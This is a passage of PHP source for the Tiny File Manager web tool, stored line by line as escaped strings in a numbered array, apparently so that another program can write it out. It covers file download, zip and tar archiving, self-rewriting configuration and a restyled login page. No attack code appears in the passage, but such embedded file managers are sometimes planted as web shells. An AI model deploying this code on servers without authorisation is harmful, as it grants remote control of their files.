== 0) {", 3103 => " die('Zero byte file! Aborting download');", 3104 => " }", 3105 => " @ini_set('magic_quotes_runtime', 0);", 3106 => " \$fp = fopen(\"\$fileLocation\", \"rb\");", 3107 => "", 3108 => " fseek(\$fp, \$range);", 3109 => "", 3110 => " while (!feof(\$fp) and (connection_status() == 0)) {", 3111 => " set_time_limit(0);", 3112 => " print(@fread(\$fp, 1024*\$chunkSize));", 3113 => " flush();", 3114 => " ob_flush();", 3115 => " // sleep(1);", 3116 => " }", 3117 => " fclose(\$fp);", 3118 => "", 3119 => " return ((connection_status() == 0) and !connection_aborted());", 3120 => "}", 3121 => "", 3122 => "function fm_get_theme() {", 3123 => " \$result = '';", 3124 => " if(FM_THEME == \"dark\") {", 3125 => " \$result = \"text-white bg-dark\";", 3126 => " }", 3127 => " return \$result;", 3128 => "}", 3129 => "", 3130 => "/**", 3131 => " * Class to work with zip files (using ZipArchive)", 3132 => " */", 3133 => "class FM_Zipper", 3134 => "{", 3135 => " private \$zip;", 3136 => "", 3137 => " public function __construct()", 3138 => " {", 3139 => " \$this->zip = new ZipArchive();", 3140 => " }", 3141 => "", 3142 => " /**", 3143 => " * Create archive with name \$filename and files \$files (RELATIVE PATHS!)", 3144 => " * @param string \$filename", 3145 => " * @param array|string \$files", 3146 => " * @return bool", 3147 => " */", 3148 => " public function create(\$filename, \$files)", 3149 => " {", 3150 => " \$res = \$this->zip->open(\$filename, ZipArchive::CREATE);", 3151 => " if (\$res !== true) {", 3152 => " return false;", 3153 => " }", 3154 => " if (is_array(\$files)) {", 3155 => " foreach (\$files as \$f) {", 3156 => " if (!\$this->addFileOrDir(\$f)) {", 3157 => " \$this->zip->close();", 3158 => " return false;", 3159 => " }", 3160 => " }", 3161 => " \$this->zip->close();", 3162 => " return true;", 3163 => " } else {", 3164 => " if (\$this->addFileOrDir(\$files)) {", 3165 => " \$this->zip->close();", 3166 => " return true;", 3167 => " }", 3168 => " return false;", 3169 => " }", 3170 => " }", 3171 => "", 3172 => " /**", 3173 => " * Extract archive \$filename to folder \$path (RELATIVE OR ABSOLUTE PATHS)", 3174 => " * @param string \$filename", 3175 => " * @param string \$path", 3176 => " * @return bool", 3177 => " */", 3178 => " public function unzip(\$filename, \$path)", 3179 => " {", 3180 => " \$res = \$this->zip->open(\$filename);", 3181 => " if (\$res !== true) {", 3182 => " return false;", 3183 => " }", 3184 => " if (\$this->zip->extractTo(\$path)) {", 3185 => " \$this->zip->close();", 3186 => " return true;", 3187 => " }", 3188 => " return false;", 3189 => " }", 3190 => "", 3191 => " /**", 3192 => " * Add file/folder to archive", 3193 => " * @param string \$filename", 3194 => " * @return bool", 3195 => " */", 3196 => " private function addFileOrDir(\$filename)", 3197 => " {", 3198 => " if (is_file(\$filename)) {", 3199 => " return \$this->zip->addFile(\$filename);", 3200 => " } elseif (is_dir(\$filename)) {", 3201 => " return \$this->addDir(\$filename);", 3202 => " }", 3203 => " return false;", 3204 => " }", 3205 => "", 3206 => " /**", 3207 => " * Add folder recursively", 3208 => " * @param string \$path", 3209 => " * @return bool", 3210 => " */", 3211 => " private function addDir(\$path)", 3212 => " {", 3213 => " if (!\$this->zip->addEmptyDir(\$path)) {", 3214 => " return false;", 3215 => " }", 3216 => " \$objects = scandir(\$path);", 3217 => " if (is_array(\$objects)) {", 3218 => " foreach (\$objects as \$file) {", 3219 => " if (\$file != '.' && \$file != '..') {", 3220 => " if (is_dir(\$path . '/' . \$file)) {", 3221 => " if (!\$this->addDir(\$path . '/' . \$file)) {", 3222 => " return false;", 3223 => " }", 3224 => " } elseif (is_file(\$path . '/' . \$file)) {", 3225 => " if (!\$this->zip->addFile(\$path . '/' . \$file)) {", 3226 => " return false;", 3227 => " }", 3228 => " }", 3229 => " }", 3230 => " }", 3231 => " return true;", 3232 => " }", 3233 => " return false;", 3234 => " }", 3235 => "}", 3236 => "", 3237 => "/**", 3238 => " * Class to work with Tar files (using PharData)", 3239 => " */", 3240 => "class FM_Zipper_Tar", 3241 => "{", 3242 => " private \$tar;", 3243 => "", 3244 => " public function __construct()", 3245 => " {", 3246 => " \$this->tar = null;", 3247 => " }", 3248 => "", 3249 => " /**", 3250 => " * Create archive with name \$filename and files \$files (RELATIVE PATHS!)", 3251 => " * @param string \$filename", 3252 => " * @param array|string \$files", 3253 => " * @return bool", 3254 => " */", 3255 => " public function create(\$filename, \$files)", 3256 => " {", 3257 => " \$this->tar = new PharData(\$filename);", 3258 => " if (is_array(\$files)) {", 3259 => " foreach (\$files as \$f) {", 3260 => " if (!\$this->addFileOrDir(\$f)) {", 3261 => " return false;", 3262 => " }", 3263 => " }", 3264 => " return true;", 3265 => " } else {", 3266 => " if (\$this->addFileOrDir(\$files)) {", 3267 => " return true;", 3268 => " }", 3269 => " return false;", 3270 => " }", 3271 => " }", 3272 => "", 3273 => " /**", 3274 => " * Extract archive \$filename to folder \$path (RELATIVE OR ABSOLUTE PATHS)", 3275 => " * @param string \$filename", 3276 => " * @param string \$path", 3277 => " * @return bool", 3278 => " */", 3279 => " public function unzip(\$filename, \$path)", 3280 => " {", 3281 => " \$res = \$this->tar->open(\$filename);", 3282 => " if (\$res !== true) {", 3283 => " return false;", 3284 => " }", 3285 => " if (\$this->tar->extractTo(\$path)) {", 3286 => " return true;", 3287 => " }", 3288 => " return false;", 3289 => " }", 3290 => "", 3291 => " /**", 3292 => " * Add file/folder to archive", 3293 => " * @param string \$filename", 3294 => " * @return bool", 3295 => " */", 3296 => " private function addFileOrDir(\$filename)", 3297 => " {", 3298 => " if (is_file(\$filename)) {", 3299 => " try {", 3300 => " \$this->tar->addFile(\$filename);", 3301 => " return true;", 3302 => " } catch (Exception \$e) {", 3303 => " return false;", 3304 => " }", 3305 => " } elseif (is_dir(\$filename)) {", 3306 => " return \$this->addDir(\$filename);", 3307 => " }", 3308 => " return false;", 3309 => " }", 3310 => "", 3311 => " /**", 3312 => " * Add folder recursively", 3313 => " * @param string \$path", 3314 => " * @return bool", 3315 => " */", 3316 => " private function addDir(\$path)", 3317 => " {", 3318 => " \$objects = scandir(\$path);", 3319 => " if (is_array(\$objects)) {", 3320 => " foreach (\$objects as \$file) {", 3321 => " if (\$file != '.' && \$file != '..') {", 3322 => " if (is_dir(\$path . '/' . \$file)) {", 3323 => " if (!\$this->addDir(\$path . '/' . \$file)) {", 3324 => " return false;", 3325 => " }", 3326 => " } elseif (is_file(\$path . '/' . \$file)) {", 3327 => " try {", 3328 => " \$this->tar->addFile(\$path . '/' . \$file);", 3329 => " } catch (Exception \$e) {", 3330 => " return false;", 3331 => " }", 3332 => " }", 3333 => " }", 3334 => " }", 3335 => " return true;", 3336 => " }", 3337 => " return false;", 3338 => " }", 3339 => "}", 3340 => "", 3341 => "", 3342 => "", 3343 => "/**", 3344 => " * Save Configuration", 3345 => " */", 3346 => " class FM_Config", 3347 => "{", 3348 => " var \$data;", 3349 => "", 3350 => " function __construct()", 3351 => " {", 3352 => " global \$root_path, \$root_url, \$CONFIG;", 3353 => " \$fm_url = \$root_url.\$_SERVER[\"PHP_SELF\"];", 3354 => " \$this->data = array(", 3355 => " 'lang' => 'en',", 3356 => " 'error_reporting' => true,", 3357 => " 'show_hidden' => true", 3358 => " );", 3359 => " \$data = false;", 3360 => " if (strlen(\$CONFIG)) {", 3361 => " \$data = fm_object_to_array(json_decode(\$CONFIG));", 3362 => " } else {", 3363 => " \$msg = 'Tiny File Manager<br>Error: Cannot load configuration';", 3364 => " if (substr(\$fm_url, -1) == '/') {", 3365 => " \$fm_url = rtrim(\$fm_url, '/');", 3366 => " \$msg .= '<br>';", 3367 => " \$msg .= '<br>Seems like you have a trailing slash on the URL.';", 3368 => " \$msg .= '<br>Try this link: <a href=\"' . \$fm_url . '\">' . \$fm_url . '</a>';", 3369 => " }", 3370 => " die(\$msg);", 3371 => " }", 3372 => " if (is_array(\$data) && count(\$data)) \$this->data = \$data;", 3373 => " else \$this->save();", 3374 => " }", 3375 => "", 3376 => " function save()", 3377 => " {", 3378 => " \$fm_file = __FILE__;", 3379 => " \$var_name = '\$CONFIG';", 3380 => " \$var_value = var_export(json_encode(\$this->data), true);", 3381 => " \$config_string = \"<?php\" . chr(13) . chr(10) . \"//Default Configuration\".chr(13) . chr(10).\"\$var_name = \$var_value;\" . chr(13) . chr(10);", 3382 => " if (is_writable(\$fm_file)) {", 3383 => " \$lines = file(\$fm_file);", 3384 => " if (\$fh = @fopen(\$fm_file, \"w\")) {", 3385 => " @fputs(\$fh, \$config_string, strlen(\$config_string));", 3386 => " for (\$x = 3; \$x < count(\$lines); \$x++) {", 3387 => " @fputs(\$fh, \$lines[\$x], strlen(\$lines[\$x]));", 3388 => " }", 3389 => " @fclose(\$fh);", 3390 => " }", 3391 => " }", 3392 => " }", 3393 => "}", 3394 => "", 3395 => "", 3396 => "", 3397 => "//--- templates functions", 3398 => "", 3399 => "/**", 3400 => " * Show nav block", 3401 => " * @param string \$path", 3402 => " */", 3403 => "function fm_show_nav_path(\$path)", 3404 => "{", 3405 => " global \$lang, \$sticky_navbar, \$editFile;", 3406 => " \$isStickyNavBar = \$sticky_navbar ? 'fixed-top' : '';", 3407 => " \$getTheme = fm_get_theme();", 3408 => " \$getTheme .= \" navbar-light\";", 3409 => " if(FM_THEME == \"dark\") {", 3410 => " \$getTheme .= \" navbar-dark\";", 3411 => " } else {", 3412 => " \$getTheme .= \" bg-white\";", 3413 => " }", 3414 => " ?>", 3415 => " <nav class=\"navbar navbar-expand-lg <?php echo \$getTheme; ?> mb-4 main-nav <?php echo \$isStickyNavBar ?>\">", 3416 => " <a class=\"navbar-brand\" href=\"\"> <?php echo lng('AppTitle') ?> </a>", 3417 => " <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#navbarSupportedContent\" aria-controls=\"navbarSupportedContent\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">", 3418 => " <span class=\"navbar-toggler-icon\"></span>", 3419 => " </button>", 3420 => " <div class=\"collapse navbar-collapse\" id=\"navbarSupportedContent\">", 3421 => "", 3422 => " <?php", 3423 => " \$path = fm_clean_path(\$path);", 3424 => " \$root_url = \"<a href='?p='><i class='fa fa-home' aria-hidden='true' title='\" . FM_ROOT_PATH . \"'></i></a>\";", 3425 => " \$sep = '<i class=\"bread-crumb\"> / </i>';", 3426 => " if (\$path != '') {", 3427 => " \$exploded = explode('/', \$path);", 3428 => " \$count = count(\$exploded);", 3429 => " \$array = array();", 3430 => " \$parent = '';", 3431 => " for (\$i = 0; \$i < \$count; \$i++) {", 3432 => " \$parent = trim(\$parent . '/' . \$exploded[\$i], '/');", 3433 => " \$parent_enc = urlencode(\$parent);", 3434 => " \$array[] = \"<a href='?p={\$parent_enc}'>\" . fm_enc(fm_convert_win(\$exploded[\$i])) . \"</a>\";", 3435 => " }", 3436 => " \$root_url .= \$sep . implode(\$sep, \$array);", 3437 => " }", 3438 => " echo '<div class=\"col-xs-6 col-sm-5\">' . \$root_url . \$editFile . '</div>';", 3439 => " ?>", 3440 => "", 3441 => " <div class=\"col-xs-6 col-sm-7 text-right\">", 3442 => " <ul class=\"navbar-nav mr-auto float-right <?php echo fm_get_theme(); ?>\">", 3443 => " <li class=\"nav-item mr-2\">", 3444 => " <div class=\"input-group input-group-sm mr-1\" style=\"margin-top:4px;\">", 3445 => " <input type=\"text\" class=\"form-control\" placeholder=\"<?php echo lng('Search') ?>\" aria-label=\"<?php echo lng('Search') ?>\" aria-describedby=\"search-addon2\" id=\"search-addon\">", 3446 => " <div class=\"input-group-append\">", 3447 => " <span class=\"input-group-text\" id=\"search-addon2\"><i class=\"fa fa-search\"></i></span>", 3448 => " </div>", 3449 => " <div class=\"input-group-append btn-group\">", 3450 => " <span class=\"input-group-text dropdown-toggle\" id=\"search-addon2\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\"></span>", 3451 => " <div class=\"dropdown-menu dropdown-menu-right\">", 3452 => " <a class=\"dropdown-item\" href=\"<?php echo \$path2 = \$path ? \$path : '.'; ?>\" id=\"js-search-modal\" data-toggle=\"modal\" data-target=\"#searchModal\"><?php echo lng('Advanced Search') ?></a>", 3453 => " </div>", 3454 => " </div>", 3455 => " </div>", 3456 => " </li>", 3457 => " <?php if (!FM_READONLY): ?>", 3458 => " <li class=\"nav-item\">", 3459 => " <a title=\"<?php echo lng('Upload') ?>\" class=\"nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&upload\"><i class=\"fa fa-cloud-upload\" aria-hidden=\"true\"></i> <?php echo lng('Upload') ?></a>", 3460 => " </li>", 3461 => " <li class=\"nav-item\">", 3462 => " <a title=\"<?php echo lng('NewItem') ?>\" class=\"nav-link\" href=\"#createNewItem\" data-toggle=\"modal\" data-target=\"#createNewItem\"><i class=\"fa fa-plus-square\"></i> <?php echo lng('NewItem') ?></a>", 3463 => " </li>", 3464 => " <?php endif; ?>", 3465 => " <?php if (FM_USE_AUTH): ?>", 3466 => " <li class=\"nav-item avatar dropdown\">", 3467 => " <a class=\"nav-link dropdown-toggle\" id=\"navbarDropdownMenuLink-5\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\"> <i class=\"fa fa-user-circle\"></i> <?php if(isset(\$_SESSION[FM_SESSION_ID]['logged'])) { echo \$_SESSION[FM_SESSION_ID]['logged']; } ?></a>", 3468 => " <div class=\"dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>\" aria-labelledby=\"navbarDropdownMenuLink-5\">", 3469 => " <?php if (!FM_READONLY): ?>", 3470 => " <a title=\"<?php echo lng('Settings') ?>\" class=\"dropdown-item nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&settings=1\"><i class=\"fa fa-cog\" aria-hidden=\"true\"></i> <?php echo lng('Settings') ?></a>", 3471 => " <?php endif ?>", 3472 => " <a title=\"<?php echo lng('Help') ?>\" class=\"dropdown-item nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&help=2\"><i class=\"fa fa-exclamation-circle\" aria-hidden=\"true\"></i> <?php echo lng('Help') ?></a>", 3473 => " <a title=\"<?php echo lng('Logout') ?>\" class=\"dropdown-item nav-link\" href=\"?logout=1\"><i class=\"fa fa-sign-out\" aria-hidden=\"true\"></i> <?php echo lng('Logout') ?></a>", 3474 => " </div>", 3475 => " </li>", 3476 => " <?php else: ?>", 3477 => " <?php if (!FM_READONLY): ?>", 3478 => " <li class=\"nav-item\">", 3479 => " <a title=\"<?php echo lng('Settings') ?>\" class=\"dropdown-item nav-link\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&settings=1\"><i class=\"fa fa-cog\" aria-hidden=\"true\"></i> <?php echo lng('Settings') ?></a>", 3480 => " </li>", 3481 => " <?php endif; ?>", 3482 => " <?php endif; ?>", 3483 => " </ul>", 3484 => " </div>", 3485 => " </div>", 3486 => " </nav>", 3487 => " <?php", 3488 => "}", 3489 => "", 3490 => "/**", 3491 => " * Show message from session", 3492 => " */", 3493 => "function fm_show_message()", 3494 => "{", 3495 => " if (isset(\$_SESSION[FM_SESSION_ID]['message'])) {", 3496 => " \$class = isset(\$_SESSION[FM_SESSION_ID]['status']) ? \$_SESSION[FM_SESSION_ID]['status'] : 'ok';", 3497 => " echo '<p class=\"message ' . \$class . '\">' . \$_SESSION[FM_SESSION_ID]['message'] . '</p>';", 3498 => " unset(\$_SESSION[FM_SESSION_ID]['message']);", 3499 => " unset(\$_SESSION[FM_SESSION_ID]['status']);", 3500 => " }", 3501 => "}", 3502 => "", 3503 => "/**", 3504 => " * Show page header in Login Form", 3505 => " */", 3506 => "function fm_show_header_login()", 3507 => "{", 3508 => "\$sprites_ver = '20160315';", 3509 => "header(\"Content-Type: text/html; charset=utf-8\");", 3510 => "header(\"Expires: Sat, 26 Jul 1997 05:00:00 GMT\");", 3511 => "header(\"Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\");", 3512 => "header(\"Pragma: no-cache\");", 3513 => "", 3514 => "global \$lang, \$root_url, \$favicon_path;", 3515 => "?>", 3516 => "<!DOCTYPE html>", 3517 => "<html lang=\"en\">", 3518 => "<head>", 3519 => " <meta charset=\"utf-8\">", 3520 => " <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">", 3521 => " <meta name=\"description\" content=\"Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager\">", 3522 => " <meta name=\"author\" content=\"CCP Programmers\">", 3523 => " <meta name=\"robots\" content=\"noindex, nofollow\">", 3524 => " <meta name=\"googlebot\" content=\"noindex\">", 3525 => " <?php if(\$favicon_path) { echo '<link rel=\"icon\" href=\"'.fm_enc(\$favicon_path).'\" type=\"image/png\">'; } ?>", 3526 => " <title><?php echo fm_enc(APP_TITLE) ?></title>", 3527 => " <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\">", 3528 => " <link rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css\">", 3529 => " <style>", 3530 => "@import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');", 3531 => " body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E\");}", 3532 => " a {text-decoration: none; color:black;}", 3533 => " a:hover {text-decoration: none;color: red;}", 3534 => " .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}", 3535 => " .fm-login-page .brand img{ width:100%}", 3536 => " .fm-login-page .card-wrapper{ margin-top:3%;margin-left:auto;margin-right:auto;}", 3537 => " .fm-login-page .card{ border: 2px solid red; border-radius: 5px;}", 3538 => " .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}", 3539 => " .fm-login-page .form-control{ border-width:2.3px}", 3540 => " .fm-login-page .form-group label{ width:100%}", 3541 => " .fm-login-page .btn.btn-block{ padding:12px 10px}", 3542 => " .fm-login-page .footer{ margin:0px;color:#888;text-align:center}", 3543 => " .fa { color:black;padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid red;background: transparent;}", 3544 => " .fa:hover {color: red;}", 3545 => " @media screen and (max-width:425px){", 3546 => " .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}", 3547 => " }", 3548 => " @media screen and (max-width:320px){", 3549 => " .fm-login-page .card.fat{ padding:0}", 3550 => " .fm-login-page .card.fat .card-body{ padding:15px}", 3551 => " }", 3552 => " .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}", 3553 => " .message.ok{ border-color:green;color:green}", 3554 => " .message.error{ border-color:red;color:red}", 3555 => " .message.alert{ border-color:orange;color:orange}", 3556 => " body.fm-login-page.theme-dark {background-color: #2f2a2a;}", 3557 => " .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }", 3558 => " </style>", 3559 => "</head>", 3560 => "<body style=\"font-family: 'Kelly Slab';\" class=\"fm-login-page <?php echo (FM_THEME == \"dark\") ? 'theme-dark' : ''; ?>\">", 3561 => "<div id=\"wrapper\" class=\"container-fluid\">", 3562 => "", 3563 => " <?php", 3564 => " }", 3565 => "", 3566 => " /**", 3567 => " * Show page footer in Login Form", 3568 => " */", 3569 => " function fm_show_footer_login()", 3570 => " {", 3571 => " ?>", 3572 => "</div>", 3573 => "<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js\"></script>", 3574 => "<script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js\"></script>", 3575 => "</body>", 3576 => "</html>", 3577 => "<?php", 3578 => "}", 3579 => "", 3580 => "/**", 3581 => " * Show Header after login", 3582 => " */", 3583 => "function fm_show_header()", 3584 => "{", 3585 => "\$sprites_ver = '20160315';", 3586 => "header(\"Content-Type: text/html; charset=utf-8\");", 3587 => "header(\"Expires: Sat, 26 Jul 1997 05:00:00 GMT\");", 3588 => "header(\"Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\");", 3589 => "header(\"Pragma: no-cache\");", 3590 => "", 3591 => "global \$lang, \$root_url, \$sticky_navbar, \$favicon_path;", 3592 => "\$isStickyNavBar = \$sticky_navbar ? 'navbar-fixed' : 'navbar-normal';", 3593 => "?>", 3594 => "<!DOCTYPE html>", 3595 => "<html>", 3596 => "<head>", 3597 => " <meta charset=\"utf-8\">", 3598 => " <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, 